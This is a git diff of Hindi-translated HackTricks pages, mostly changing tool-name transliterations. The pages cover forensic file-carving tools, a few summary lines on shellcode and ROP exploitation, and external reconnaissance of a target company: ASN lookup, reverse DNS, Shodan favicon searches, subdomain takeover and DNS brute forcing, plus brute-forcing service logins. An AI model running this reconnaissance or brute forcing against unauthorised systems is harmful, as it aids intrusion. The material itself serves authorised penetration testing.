- 32 बिट, ASLR के साथ स्टैक लीक, exit() को कॉल करने से रोकने के लिए तुलना, एक मान के साथ वेरिएबल को ओवरराइट करें और शेलकोड लिखें और उस पर कूदें
|
||||
- 32 बिट, ASLR के साथ स्टैक लीक, exit() को कॉल करने से रोकने के लिए तुलना, एक मान के साथ चर को ओवरराइट करें और शेलकोड लिखें और उस पर कूदें
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
||||
- arm64, कोई ASLR नहीं, स्टैक को निष्पादन योग्य बनाने के लिए ROP गैजेट और स्टैक में शेलकोड पर कूदें
|
||||
|
||||
|
@ -1,20 +1,20 @@
|
||||
# फ़ाइल/डेटा कार्विंग और रिकवरी उपकरण
|
||||
# File/Data Carving & Recovery Tools
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## कार्विंग और रिकवरी उपकरण
|
||||
## Carving & Recovery tools
|
||||
|
||||
अधिक उपकरण [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) में
|
||||
More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
||||
|
||||
### ऑटोप्सी
|
||||
### Autopsy
|
||||
|
||||
फोरेंसिक्स में छवियों से फ़ाइलें निकालने के लिए सबसे सामान्य उपकरण [**ऑटोप्सी**](https://www.autopsy.com/download/) है। इसे डाउनलोड करें, इंस्टॉल करें और "छिपी" फ़ाइलें खोजने के लिए इसे फ़ाइल को इनजेस्ट करने दें। ध्यान दें कि ऑटोप्सी डिस्क इमेज और अन्य प्रकार की छवियों का समर्थन करने के लिए बनाई गई है, लेकिन साधारण फ़ाइलों के लिए नहीं।
|
||||
फोरेंसिक्स में छवियों से फ़ाइलें निकालने के लिए सबसे सामान्य उपकरण [**Autopsy**](https://www.autopsy.com/download/) है। इसे डाउनलोड करें, इंस्टॉल करें और "छिपी" फ़ाइलें खोजने के लिए इसे फ़ाइल को इनजेस्ट करने दें। ध्यान दें कि Autopsy डिस्क छवियों और अन्य प्रकार की छवियों का समर्थन करने के लिए बनाया गया है, लेकिन साधारण फ़ाइलों के लिए नहीं।
|
||||
|
||||
### बिनवॉक <a href="#binwalk" id="binwalk"></a>
|
||||
### Binwalk <a href="#binwalk" id="binwalk"></a>
|
||||
|
||||
**बिनवॉक** एक उपकरण है जो बाइनरी फ़ाइलों का विश्लेषण करने के लिए अंतर्निहित सामग्री खोजने के लिए है। इसे `apt` के माध्यम से इंस्टॉल किया जा सकता है और इसका स्रोत [GitHub](https://github.com/ReFirmLabs/binwalk) पर है।
|
||||
**Binwalk** एक उपकरण है जो बाइनरी फ़ाइलों का विश्लेषण करने के लिए अंतर्निहित सामग्री खोजने के लिए है। इसे `apt` के माध्यम से इंस्टॉल किया जा सकता है और इसका स्रोत [GitHub](https://github.com/ReFirmLabs/binwalk) पर है।
|
||||
|
||||
**उपयोगी कमांड**:
|
||||
**Useful commands**:
|
||||
```bash
|
||||
sudo apt install binwalk #Insllation
|
||||
binwalk file #Displays the embedded data in the given file
|
||||
@ -44,7 +44,7 @@ scalpel file.img -o output
|
||||
```
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
**सभी जानकारी** के माध्यम से नेविगेट करें जो उपकरण ने एकत्र की है (पासवर्ड?), **विश्लेषण** करें **पैकेट्स** का (पढ़ें[ **Pcaps विश्लेषण**](../pcap-inspection/)), **अजीब डोमेन** की खोज करें (डोमेन जो **मैलवेयर** या **गैर-मौजूद** हैं)।
|
||||
**सभी जानकारी** के माध्यम से नेविगेट करें जो उपकरण ने एकत्र की है (पासवर्ड?), **पैकेट्स** का **विश्लेषण** करें (पढ़ें[ **Pcaps analysis**](../pcap-inspection/index.html)), **अजीब डोमेन** की खोज करें (डोमेन जो **मैलवेयर** या **अवास्तविक** से संबंधित हैं)।
|
||||
|
||||
### PhotoRec
|
||||
|
||||
@ -63,10 +63,10 @@ bulk_extractor memory.img -o out_folder
|
||||
- दृश्य और सक्रिय **संरचना दर्शक**
|
||||
- विभिन्न फोकस बिंदुओं के लिए कई प्लॉट
|
||||
- एक नमूने के हिस्सों पर ध्यान केंद्रित करना
|
||||
- PE या ELF निष्पादन योग्य में **स्ट्रिंग्स और संसाधनों** को देखना, जैसे कि
|
||||
- PE या ELF निष्पादन योग्य में **स्ट्रिंग्स और संसाधनों** को देखना, जैसे
|
||||
- फ़ाइलों पर क्रिप्टानालिसिस के लिए **पैटर्न** प्राप्त करना
|
||||
- पैकर या एन्कोडर एल्गोरिदम का **पता लगाना**
|
||||
- पैटर्न द्वारा स्टेगनोग्राफी की **पहचान करना**
|
||||
- पैटर्न द्वारा स्टीगनोग्राफी की **पहचान करना**
|
||||
- **दृश्य** बाइनरी-डिफ़िंग
|
||||
|
||||
BinVis एक अज्ञात लक्ष्य के साथ परिचित होने के लिए एक महान **शुरुआत बिंदु** है एक ब्लैक-बॉक्सिंग परिदृश्य में।
|
||||
@ -75,13 +75,13 @@ BinVis एक अज्ञात लक्ष्य के साथ परि
|
||||
|
||||
### FindAES
|
||||
|
||||
AES कुंजियों की खोज उनके कुंजी कार्यक्रमों की खोज करके करता है। 128, 192, और 256 बिट कुंजियों को खोजने में सक्षम, जैसे कि TrueCrypt और BitLocker द्वारा उपयोग की जाने वाली।
|
||||
AES कुंजियों की खोज उनके कुंजी शेड्यूल की खोज करके करता है। 128, 192, और 256 बिट कुंजियों को खोजने में सक्षम, जैसे कि TrueCrypt और BitLocker द्वारा उपयोग की जाने वाली।
|
||||
|
||||
[यहाँ डाउनलोड करें](https://sourceforge.net/projects/findaes/)।
|
||||
|
||||
## पूरक उपकरण
|
||||
|
||||
आप टर्मिनल से छवियों को देखने के लिए [**viu** ](https://github.com/atanunq/viu) का उपयोग कर सकते हैं।\
|
||||
आप एक pdf को टेक्स्ट में बदलने और पढ़ने के लिए लिनक्स कमांड लाइन उपकरण **pdftotext** का उपयोग कर सकते हैं।
|
||||
आप PDF को टेक्स्ट में बदलने और पढ़ने के लिए लिनक्स कमांड लाइन उपकरण **pdftotext** का उपयोग कर सकते हैं।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -1,15 +1,15 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
# कार्विंग उपकरण
|
||||
# Carving tools
|
||||
|
||||
## ऑटोप्सी
|
||||
## Autopsy
|
||||
|
||||
फोरेंसिक्स में छवियों से फ़ाइलें निकालने के लिए सबसे सामान्य उपकरण [**ऑटोप्सी**](https://www.autopsy.com/download/) है। इसे डाउनलोड करें, इंस्टॉल करें और "छिपी" फ़ाइलें खोजने के लिए फ़ाइल को इनजेस्ट करें। ध्यान दें कि ऑटोप्सी डिस्क इमेज और अन्य प्रकार की इमेज का समर्थन करने के लिए बनाई गई है, लेकिन साधारण फ़ाइलों के लिए नहीं।
|
||||
फोरेंसिक्स में इमेज से फाइल निकालने के लिए सबसे सामान्य उपकरण [**Autopsy**](https://www.autopsy.com/download/) है। इसे डाउनलोड करें, इंस्टॉल करें और "छिपी" फाइलें खोजने के लिए इसे फाइल को इनजेस्ट करने दें। ध्यान दें कि Autopsy डिस्क इमेज और अन्य प्रकार की इमेज का समर्थन करने के लिए बनाया गया है, लेकिन साधारण फाइलों के लिए नहीं।
|
||||
|
||||
## बिनवॉक <a id="binwalk"></a>
|
||||
## Binwalk <a id="binwalk"></a>
|
||||
|
||||
**बिनवॉक** एक उपकरण है जो बाइनरी फ़ाइलों जैसे छवियों और ऑडियो फ़ाइलों में एम्बेडेड फ़ाइलों और डेटा की खोज के लिए है। इसे `apt` के साथ इंस्टॉल किया जा सकता है, हालाँकि [स्रोत](https://github.com/ReFirmLabs/binwalk) github पर पाया जा सकता है।
|
||||
**उपयोगी कमांड**:
|
||||
**Binwalk** एक उपकरण है जो बाइनरी फाइलों जैसे इमेज और ऑडियो फाइलों में एम्बेडेड फाइलों और डेटा की खोज करता है। इसे `apt` के साथ इंस्टॉल किया जा सकता है, हालांकि [source](https://github.com/ReFirmLabs/binwalk) github पर पाया जा सकता है।
|
||||
**Useful commands**:
|
||||
```bash
|
||||
sudo apt install binwalk #Insllation
|
||||
binwalk file #Displays the embedded data in the given file
|
||||
@ -39,11 +39,11 @@ scalpel file.img -o output
|
||||
```text
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
**सभी जानकारी** के माध्यम से नेविगेट करें जो उपकरण ने एकत्र की है \(पासवर्ड?\), **विश्लेषण** करें **पैकेट्स** का \(पढ़ें [ **Pcaps विश्लेषण**](../pcap-inspection/)\), **अजीब डोमेन** की खोज करें \(डोमेन जो **मैलवेयर** या **अवास्तविक** से संबंधित हैं\).
|
||||
**सभी जानकारी** के माध्यम से नेविगेट करें जो उपकरण ने एकत्र की है \(पासवर्ड?\), **विश्लेषण** करें **पैकेट्स** का \(पढ़ें[ **Pcaps विश्लेषण**](../pcap-inspection/index.html)\), **अजीब डोमेन** की खोज करें \(डोमेन जो **मैलवेयर** या **गैर-मौजूद** से संबंधित हैं\).
|
||||
|
||||
## PhotoRec
|
||||
|
||||
आप इसे [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) पर पा सकते हैं।
|
||||
आप इसे [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) पर पा सकते हैं
|
||||
|
||||
यह GUI और CLI संस्करण के साथ आता है। आप उन **फाइल-प्रकारों** का चयन कर सकते हैं जिन्हें आप PhotoRec से खोजने के लिए चाहते हैं।
|
||||
|
||||
@ -55,7 +55,7 @@ bulk_extractor memory.img -o out_folder
|
||||
|
||||
AES कुंजियों की खोज उनके कुंजी कार्यक्रमों की खोज करके करता है। 128, 192, और 256 बिट कुंजियों को खोजने में सक्षम, जैसे कि TrueCrypt और BitLocker द्वारा उपयोग की जाने वाली।
|
||||
|
||||
[यहाँ डाउनलोड करें](https://sourceforge.net/projects/findaes/)।
|
||||
[यहाँ डाउनलोड करें](https://sourceforge.net/projects/findaes/).
|
||||
|
||||
# पूरक उपकरण
|
||||
|
||||
|
@ -1,20 +1,20 @@
|
||||
# फ़ाइल/डेटा कार्विंग और रिकवरी उपकरण
|
||||
# File/Data Carving & Recovery Tools
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## कार्विंग और रिकवरी उपकरण
|
||||
## Carving & Recovery tools
|
||||
|
||||
अधिक उपकरण [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) पर
|
||||
More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
||||
|
||||
### ऑटोप्सी
|
||||
### Autopsy
|
||||
|
||||
फोरेंसिक्स में छवियों से फ़ाइलें निकालने के लिए सबसे सामान्य उपकरण [**ऑटोप्सी**](https://www.autopsy.com/download/) है। इसे डाउनलोड करें, इंस्टॉल करें और "छिपी" फ़ाइलें खोजने के लिए फ़ाइल को इनजेस्ट करें। ध्यान दें कि ऑटोप्सी डिस्क इमेज और अन्य प्रकार की इमेज का समर्थन करने के लिए बनाई गई है, लेकिन साधारण फ़ाइलों के लिए नहीं।
|
||||
फोरेंसिक्स में छवियों से फ़ाइलें निकालने के लिए सबसे सामान्य उपकरण [**Autopsy**](https://www.autopsy.com/download/) है। इसे डाउनलोड करें, इंस्टॉल करें और "छिपी हुई" फ़ाइलें खोजने के लिए फ़ाइल को इनजेस्ट करें। ध्यान दें कि Autopsy डिस्क छवियों और अन्य प्रकार की छवियों का समर्थन करने के लिए बनाया गया है, लेकिन साधारण फ़ाइलों के लिए नहीं।
|
||||
|
||||
### बिनवॉक <a href="#binwalk" id="binwalk"></a>
|
||||
### Binwalk <a href="#binwalk" id="binwalk"></a>
|
||||
|
||||
**बिनवॉक** एक उपकरण है जो बाइनरी फ़ाइलों का विश्लेषण करने के लिए अंतर्निहित सामग्री खोजने के लिए है। इसे `apt` के माध्यम से इंस्टॉल किया जा सकता है और इसका स्रोत [GitHub](https://github.com/ReFirmLabs/binwalk) पर है।
|
||||
**Binwalk** एक उपकरण है जो बाइनरी फ़ाइलों का विश्लेषण करने के लिए अंतर्निहित सामग्री खोजने के लिए है। इसे `apt` के माध्यम से इंस्टॉल किया जा सकता है और इसका स्रोत [GitHub](https://github.com/ReFirmLabs/binwalk) पर है।
|
||||
|
||||
**उपयोगी कमांड**:
|
||||
**Useful commands**:
|
||||
```bash
|
||||
sudo apt install binwalk #Insllation
|
||||
binwalk file #Displays the embedded data in the given file
|
||||
@ -44,7 +44,7 @@ scalpel file.img -o output
|
||||
```
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
**सभी जानकारी** के माध्यम से नेविगेट करें जो उपकरण ने एकत्र की है (पासवर्ड?), **विश्लेषण** करें **पैकेट्स** का (पढ़ें[ **Pcaps विश्लेषण**](../pcap-inspection/)), **अजीब डोमेन** की खोज करें (डोमेन जो **मैलवेयर** या **गैर-मौजूद** से संबंधित हैं)।
|
||||
**सभी जानकारी** के माध्यम से नेविगेट करें जो उपकरण ने एकत्र की है (पासवर्ड?), **पैकेट्स** का **विश्लेषण** करें (पढ़ें[ **Pcaps analysis**](../pcap-inspection/index.html)), **अजीब डोमेन** की खोज करें (डोमेन जो **मैलवेयर** या **गैर-मौजूद** से संबंधित हैं)।
|
||||
|
||||
### PhotoRec
|
||||
|
||||
@ -63,7 +63,7 @@ bulk_extractor memory.img -o out_folder
|
||||
- दृश्य और सक्रिय **संरचना दर्शक**
|
||||
- विभिन्न फोकस बिंदुओं के लिए कई प्लॉट
|
||||
- एक नमूने के हिस्सों पर ध्यान केंद्रित करना
|
||||
- **स्ट्रिंग्स और संसाधनों** को देखना, PE या ELF निष्पादन योग्य में जैसे
|
||||
- PE या ELF निष्पादन योग्य में **स्ट्रिंग्स और संसाधनों** को देखना, जैसे
|
||||
- फ़ाइलों पर क्रिप्टानालिसिस के लिए **पैटर्न** प्राप्त करना
|
||||
- पैकर या एन्कोडर एल्गोरिदम का **पता लगाना**
|
||||
- पैटर्न द्वारा स्टेगनोग्राफी की **पहचान करना**
|
||||
|
@ -26,7 +26,7 @@
|
||||
एक स्वायत्त प्रणाली संख्या (**ASN**) एक **विशिष्ट संख्या** है जो **इंटरनेट असाइन नंबर प्राधिकरण (IANA)** द्वारा एक **स्वायत्त प्रणाली** (AS) को असाइन की जाती है।\
|
||||
एक **AS** में **IP पते** के **ब्लॉक** होते हैं जिनकी बाहरी नेटवर्क तक पहुँचने के लिए स्पष्ट रूप से परिभाषित नीति होती है और इसे एक ही संगठन द्वारा प्रशासित किया जाता है लेकिन यह कई ऑपरेटरों से मिलकर बन सकता है।
|
||||
|
||||
यह जानना दिलचस्प है कि क्या **कंपनी ने कोई ASN असाइन किया है** ताकि इसके **IP रेंज** को खोजा जा सके। यह **दायरे** के भीतर सभी **होस्ट्स** के खिलाफ एक **कमजोरी परीक्षण** करना और इन IPs के भीतर **डोमेन** की खोज करना दिलचस्प होगा।\
|
||||
यह जानना दिलचस्प है कि क्या **कंपनी ने कोई ASN असाइन किया है** ताकि इसके **IP रेंज** को खोजा जा सके। यह **दायरे** के भीतर सभी **होस्ट** के खिलाफ एक **कमजोरी परीक्षण** करना और इन IPs के भीतर **डोमेन** की खोज करना दिलचस्प होगा।\
|
||||
आप कंपनी के **नाम**, **IP** या **डोमेन** द्वारा [**https://bgp.he.net/**](https://bgp.he.net)** पर **खोज** कर सकते हैं।\
|
||||
**कंपनी के क्षेत्र के आधार पर ये लिंक अधिक डेटा इकट्ठा करने के लिए उपयोगी हो सकते हैं:** [**AFRINIC**](https://www.afrinic.net) **(अफ्रीका),** [**Arin**](https://www.arin.net/about/welcome/region/)**(उत्तरी अमेरिका),** [**APNIC**](https://www.apnic.net) **(एशिया),** [**LACNIC**](https://www.lacnic.net) **(लैटिन अमेरिका),** [**RIPE NCC**](https://www.ripe.net) **(यूरोप)। वैसे, शायद सभी** उपयोगी जानकारी **(IP रेंज और Whois)** पहले लिंक में पहले से ही दिखाई देती है।
|
||||
```bash
|
||||
@ -57,28 +57,28 @@ bbot -t tesla.com -f subdomain-enum
|
||||
### **कमजोरियों की तलाश**
|
||||
|
||||
इस बिंदु पर हम **स्कोप के अंदर सभी संपत्तियों** को जानते हैं, इसलिए यदि आपको अनुमति है तो आप सभी होस्ट पर कुछ **कमजोरी स्कैनर** (Nessus, OpenVAS) लॉन्च कर सकते हैं।\
|
||||
इसके अलावा, आप कुछ [**पोर्ट स्कैन**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **या** shodan **जैसे सेवाओं का उपयोग करके** खुले पोर्ट **खोज सकते हैं और जो कुछ भी आप पाते हैं उसके आधार पर आपको** इस पुस्तक में देखना चाहिए कि कैसे कई संभावित सेवाओं का पेंटेस्ट करना है।\
|
||||
**इसके अलावा, यह उल्लेख करना भी सार्थक हो सकता है कि आप कुछ** डिफ़ॉल्ट उपयोगकर्ता नाम **और** पासवर्ड **सूचियाँ तैयार कर सकते हैं और** [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) के साथ सेवाओं को ब्रूटफोर्स करने की कोशिश कर सकते हैं।
|
||||
इसके अलावा, आप कुछ [**पोर्ट स्कैन**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **लॉन्च कर सकते हैं** या **खुले पोर्ट खोजने के लिए** shodan **जैसी सेवाओं का उपयोग कर सकते हैं और जो कुछ भी आप पाते हैं उसके आधार पर आपको इस पुस्तक में देखना चाहिए कि कैसे कई संभावित सेवाओं का पेंटेस्ट करना है।**\
|
||||
**इसके अलावा, यह उल्लेख करना भी सार्थक हो सकता है कि आप कुछ** डिफ़ॉल्ट उपयोगकर्ता नाम **और** पासवर्ड **सूचियाँ तैयार कर सकते हैं और** [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) के साथ सेवाओं को ब्रूटफोर्स करने की कोशिश कर सकते हैं।**
|
||||
|
||||
## डोमेन
|
||||
|
||||
> हम स्कोप के अंदर सभी कंपनियों और उनकी संपत्तियों को जानते हैं, अब स्कोप के अंदर डोमेन खोजने का समय है।
|
||||
|
||||
_कृपया ध्यान दें कि निम्नलिखित प्रस्तावित तकनीकों में आप उपडोमेन भी पा सकते हैं और उस जानकारी को कम नहीं आंकना चाहिए।_
|
||||
_कृपया ध्यान दें कि निम्नलिखित प्रस्तावित तकनीकों में आप उपडोमेन भी पा सकते हैं और उस जानकारी को कम नहीं आंका जाना चाहिए।_
|
||||
|
||||
सबसे पहले, आपको प्रत्येक कंपनी के **मुख्य डोमेन**(s) की तलाश करनी चाहिए। उदाहरण के लिए, _Tesla Inc._ के लिए _tesla.com_ होगा।
|
||||
|
||||
### **रिवर्स DNS**
|
||||
|
||||
जैसा कि आपने डोमेन के सभी IP रेंज पाए हैं, आप उन **IPs पर अधिक डोमेन खोजने के लिए** **रिवर्स DNS लुकअप** करने की कोशिश कर सकते हैं। पीड़ित के कुछ DNS सर्वर या कुछ प्रसिद्ध DNS सर्वर (1.1.1.1, 8.8.8.8) का उपयोग करने की कोशिश करें।
|
||||
जैसा कि आपने डोमेन के सभी IP रेंज पा लिए हैं, आप उन **IPs पर अधिक डोमेन खोजने के लिए** **रिवर्स DNS लुकअप** करने की कोशिश कर सकते हैं। पीड़ित के कुछ DNS सर्वर या कुछ प्रसिद्ध DNS सर्वर (1.1.1.1, 8.8.8.8) का उपयोग करने की कोशिश करें।
|
||||
```bash
|
||||
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
|
||||
dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns
|
||||
dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
||||
```
|
||||
इसके काम करने के लिए, व्यवस्थापक को मैन्युअल रूप से PTR सक्षम करना होगा।\
|
||||
आप इस जानकारी के लिए एक ऑनलाइन टूल का भी उपयोग कर सकते हैं: [http://ptrarchive.com/](http://ptrarchive.com)
|
||||
इसका काम करने के लिए, व्यवस्थापक को मैन्युअल रूप से PTR सक्षम करना होगा।\
|
||||
आप इस जानकारी के लिए एक ऑनलाइन टूल भी उपयोग कर सकते हैं: [http://ptrarchive.com/](http://ptrarchive.com)
|
||||
|
||||
### **Reverse Whois (loop)**
|
||||
|
||||
@ -120,9 +120,9 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
||||
```
|
||||

|
||||
|
||||
सरल शब्दों में, favihash हमें उन डोमेनों को खोजने की अनुमति देगा जिनका favicon आइकन हैश हमारे लक्ष्य के समान है।
|
||||
सरल शब्दों में, favihash हमें उन डोमेन को खोजने की अनुमति देगा जिनका favicon आइकन हैश हमारे लक्ष्य के समान है।
|
||||
|
||||
इसके अलावा, आप favicon हैश का उपयोग करके तकनीकों की भी खोज कर सकते हैं जैसा कि [**इस ब्लॉग पोस्ट**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) में समझाया गया है। इसका मतलब है कि यदि आप जानते हैं कि **एक कमजोर वेब तकनीक के favicon का हैश** क्या है, तो आप शोडन में खोज सकते हैं और **अधिक कमजोर स्थानों** को **खोज सकते हैं**:
|
||||
इसके अलावा, आप favicon हैश का उपयोग करके तकनीकों की भी खोज कर सकते हैं जैसा कि [**इस ब्लॉग पोस्ट**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) में समझाया गया है। इसका मतलब है कि यदि आप जानते हैं कि **एक कमजोर वेब तकनीक के favicon का हैश** क्या है, तो आप शोडन में खोज सकते हैं और **अधिक कमजोर स्थानों** को खोज सकते हैं:
|
||||
```bash
|
||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||
```
|
||||
@ -155,21 +155,21 @@ return fhash
|
||||
|
||||
### मेल DMARC जानकारी
|
||||
|
||||
आप [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) जैसी वेबसाइट या [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) जैसे टूल का उपयोग करके **समान DMARC जानकारी साझा करने वाले डोमेन और उपडोमेन** खोज सकते हैं।
|
||||
आप [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) जैसी वेबसाइट या [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) जैसे टूल का उपयोग करके **डोमेन और उपडोमेन जो समान DMARC जानकारी साझा करते हैं** खोज सकते हैं।
|
||||
|
||||
### **पैसिव टेकओवर**
|
||||
|
||||
स्पष्ट रूप से यह सामान्य है कि लोग उपडोमेन को क्लाउड प्रदाताओं से संबंधित IPs को असाइन करते हैं और किसी बिंदु पर **उस IP पते को खो देते हैं लेकिन DNS रिकॉर्ड को हटाना भूल जाते हैं**। इसलिए, बस **क्लाउड (जैसे Digital Ocean) में एक VM स्पॉन करके** आप वास्तव में **कुछ उपडोमेन पर कब्जा कर रहे होंगे**।
|
||||
स्पष्ट रूप से यह सामान्य है कि लोग उपडोमेन को क्लाउड प्रदाताओं से संबंधित IPs को असाइन करते हैं और किसी बिंदु पर **उस IP पते को खो देते हैं लेकिन DNS रिकॉर्ड को हटाना भूल जाते हैं**। इसलिए, बस **क्लाउड में एक VM स्पॉन करना** (जैसे Digital Ocean) आप वास्तव में **कुछ उपडोमेन(s) पर कब्जा कर रहे होंगे**।
|
||||
|
||||
[**यह पोस्ट**](https://kmsec.uk/blog/passive-takeover/) इसके बारे में एक स्टोर को समझाती है और एक स्क्रिप्ट का प्रस्ताव करती है जो **DigitalOcean में एक VM स्पॉन करती है**, **नए मशीन का** **IPv4** **प्राप्त करती है**, और **Virustotal में उपडोमेन रिकॉर्ड** की खोज करती है जो इसे इंगित करते हैं।
|
||||
|
||||
### **अन्य तरीके**
|
||||
|
||||
**ध्यान दें कि आप इस तकनीक का उपयोग हर बार एक नया डोमेन खोजने के लिए अधिक डोमेन नाम खोजने के लिए कर सकते हैं।**
|
||||
**ध्यान दें कि आप इस तकनीक का उपयोग हर बार एक नया डोमेन खोजने पर अधिक डोमेन नाम खोजने के लिए कर सकते हैं।**
|
||||
|
||||
**Shodan**
|
||||
|
||||
जैसा कि आप पहले से ही IP स्पेस के मालिक संगठन का नाम जानते हैं। आप उस डेटा को शोडन में खोज सकते हैं: `org:"Tesla, Inc."` TLS प्रमाणपत्र में नए अप्रत्याशित डोमेन के लिए पाए गए होस्ट की जांच करें।
|
||||
जैसा कि आप पहले से ही IP स्पेस के मालिक संगठन का नाम जानते हैं। आप उस डेटा को shodan में खोज सकते हैं: `org:"Tesla, Inc."` TLS प्रमाणपत्र में नए अप्रत्याशित डोमेन के लिए पाए गए होस्ट की जांच करें।
|
||||
|
||||
आप मुख्य वेब पृष्ठ का **TLS प्रमाणपत्र** एक्सेस कर सकते हैं, **संगठन का नाम** प्राप्त कर सकते हैं और फिर **shodan** द्वारा ज्ञात सभी वेब पृष्ठों के **TLS प्रमाणपत्रों** के अंदर उस नाम की खोज कर सकते हैं जिसमें फ़िल्टर है: `ssl:"Tesla Motors"` या [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) जैसे टूल का उपयोग करें।
|
||||
|
||||
@ -181,8 +181,8 @@ return fhash
|
||||
|
||||
कुछ [डोमेन टेकओवर](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover) के लिए जांचें। शायद कोई कंपनी **किसी डोमेन का उपयोग कर रही है** लेकिन उन्होंने **स्वामित्व खो दिया है**। बस इसे रजिस्टर करें (यदि यह सस्ता है) और कंपनी को सूचित करें।
|
||||
|
||||
यदि आप किसी **डोमेन को एक IP के साथ पाते हैं जो पहले से खोजे गए संपत्तियों में से अलग है**, तो आपको एक **बुनियादी कमजोरियों का स्कैन** (Nessus या OpenVAS का उपयोग करके) और कुछ [**पोर्ट स्कैन**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **nmap/masscan/shodan** के साथ करना चाहिए। जिस सेवा का संचालन हो रहा है, आप **इस पुस्तक में कुछ तरकीबें "हमले" करने के लिए** खोज सकते हैं।\
|
||||
&#xNAN;_Note कि कभी-कभी डोमेन एक IP के अंदर होस्ट किया जाता है जो ग्राहक द्वारा नियंत्रित नहीं होता है, इसलिए यह दायरे में नहीं है, सावधान रहें।_
|
||||
यदि आप किसी **डोमेन को एक IP के साथ पाते हैं जो पहले से खोजे गए संपत्तियों में से अलग है**, तो आपको एक **बुनियादी कमजोरियों का स्कैन** (Nessus या OpenVAS का उपयोग करके) और कुछ [**पोर्ट स्कैन**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **nmap/masscan/shodan** के साथ करना चाहिए। जिस सेवा का संचालन हो रहा है, आप **इस पुस्तक में कुछ ट्रिक्स "हमला" करने के लिए** खोज सकते हैं।\
|
||||
&#xNAN;_Note कि कभी-कभी डोमेन एक ऐसे IP में होस्ट किया जाता है जो ग्राहक द्वारा नियंत्रित नहीं होता है, इसलिए यह दायरे में नहीं है, सावधान रहें।_
|
||||
|
||||
## उपडोमेन
|
||||
|
||||
@ -191,7 +191,7 @@ return fhash
|
||||
यह समय है कि प्रत्येक पाए गए डोमेन के सभी संभावित उपडोमेन खोजें।
|
||||
|
||||
> [!TIP]
|
||||
> ध्यान दें कि डोमेन खोजने के लिए कुछ टूल और तकनीकें उपडोमेन खोजने में भी मदद कर सकती हैं।
|
||||
> ध्यान दें कि कुछ टूल और तकनीकें जो डोमेन खोजने के लिए उपयोग की जाती हैं, उपडोमेन खोजने में भी मदद कर सकती हैं।
|
||||
|
||||
### **DNS**
|
||||
|
||||
@ -345,7 +345,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
|
||||
```
|
||||
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
||||
```
|
||||
- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) एक `massdns` के चारों ओर एक wrapper है, जो गो में लिखा गया है, जो आपको सक्रिय ब्रूटफोर्स का उपयोग करके मान्य उपडोमेन की गणना करने की अनुमति देता है, साथ ही वाइल्डकार्ड हैंडलिंग और आसान इनपुट-आउटपुट समर्थन के साथ उपडोमेन को हल करता है।
|
||||
- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) `massdns` के चारों ओर एक wrapper है, जो गो में लिखा गया है, जो आपको सक्रिय ब्रूटफोर्स का उपयोग करके मान्य उपडोमेन की गणना करने की अनुमति देता है, साथ ही वाइल्डकार्ड हैंडलिंग और आसान इनपुट-आउटपुट समर्थन के साथ उपडोमेन को हल करता है।
|
||||
```
|
||||
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
||||
```
|
||||
@ -353,7 +353,7 @@ shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
||||
```
|
||||
puredns bruteforce all.txt domain.com
|
||||
```
|
||||
- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) डोमेन नामों को असिंक्रोनस तरीके से ब्रूट फोर्स करने के लिए asyncio का उपयोग करता है।
|
||||
- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) डोमेन नामों को असिंक्रोनसली ब्रूट फोर्स करने के लिए asyncio का उपयोग करता है।
|
||||
```
|
||||
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
|
||||
```
|
||||
@ -370,26 +370,26 @@ cat subdomains.txt | dnsgen -
|
||||
